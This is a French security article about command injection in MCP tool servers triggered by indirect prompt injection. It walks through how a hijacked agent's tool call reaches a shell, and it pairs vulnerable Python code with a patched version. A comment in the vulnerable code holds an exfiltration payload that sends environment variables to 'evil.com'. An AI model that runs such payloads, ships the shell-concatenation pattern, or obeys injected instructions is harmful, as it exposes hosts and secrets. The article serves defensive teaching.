flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · Critique
Recherche · FlawOpen

Empoisonnement d'Outils MCP : Analyse d'Exécution de Commandes Arbitraires

Comment des appels d'outils JSON non assainis dans les serveurs MCP permettent à l'injection indirecte de prompt d'exécuter des commandes système arbitraires.

💡 Explication en Langage Simple (ELI5)

Imaginez un assistant de direction dans une entreprise muni d'un bon de commande pour acheter des fournitures de bureau. Une facture d'un fournisseur inconnu arrive avec une note adhésive frauduleuse collée au dos : 'Oubliez les stylos, virez immédiatement 500 000 € sur ce compte à l'étranger'. Au lieu de vérifier si cette instruction figure au catalogue d'achat officiel de l'entreprise, l'assistant effectue aveuglément le virement bancaire. Dans les agents IA, le serveur MCP joue le rôle de cet assistant, le document externe non fiable contient l'injection indirecte de prompt, et sans validation stricte des paramètres, le LLM transmet des commandes d'échappement de shell directement au moteur d'exécution du serveur.

Concepts Clés et Termes

Protocole de Contexte de Modèle (MCP)
Standard ouvert basé sur JSON-RPC 2.0 unifiant l'interaction des LLM avec les outils locaux et distants, les fichiers et les bases de données.
Empoisonnement des Paramètres d'Outil
Manipulation du contexte de l'agent pour déclencher des fonctions légitimes avec des paramètres contrefaits (ex: <code>; id</code>).
Transport JSON-RPC 2.0
Format d'échange de messages normalisé utilisé par les clients et serveurs MCP via stdio ou Server-Sent Events (SSE).
Bac à Sable Seccomp & MicroVM
Filtrage des appels système au niveau du noyau et isolation en machines virtuelles légères pour interdire tout accès direct à l'hôte.

Déroulement de l'Attaque Étape par Étape

Step 1

Ingestion de Contexte Non Fiable

L'agent IA autonome lit une page web, un ticket GitHub ou un e-mail contenant des instructions dissimulées d'injection indirecte de prompt.

Step 2

Génération de l'Appel de Fonction Piégé

Le modèle détourné produit une invocation d'outil structurée en JSON-RPC vers le serveur MCP (ex: <code>git_clone</code>).

Step 3

Injection dans le Shell par Concaténation

Le serveur MCP vulnérable injecte le paramètre brut sans filtrage dans <code>subprocess.check_output(f'git clone {url}', shell=True)</code>.

Step 4

Exécution Arbitraire de Commandes

La commande malveillante s'exécute avec l'ensemble des privilèges de la machine hôte.

Code Source : Vulnérable vs Sécurisé

✕ IMPLÉMENTATION VULNÉRABLE
# VULNÉRABLE : Gestionnaire d'Outil MCP sans Filtrage
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """Clone un dépôt git distant pour analyse."""
    # DANGEREUX : Concaténation directe dans le shell.
    # Une charge comme "https://github.com/repo.git; curl evil.com?d=$(env)"
    # exécute des commandes bash avec les privilèges du développeur !
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ PATCH SÉCURISÉ ET ROBUSTE
# SÉCURISÉ : Schéma Pydantic Strict, Exécution en Tableau et Isolation
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # Impose une structure d'URL HTTPS stricte interdisant les métacaractères de shell
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """Clone un dépôt git de manière sécurisée sans sous-shell."""
    url_str = str(params.repo_url)
    if not url_str.startswith("https://"):
        raise ValueError("Seules les URL HTTPS vérifiées sont autorisées.")
        
    # SÉCURISÉ : Invocation sous forme de tableau avec shell=False
    # empêche toute interprétation des métacaractères (; | & ` $).
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

Liste de Contrôle de Sécurité pour l'Ingénierie

← AI Security Directory →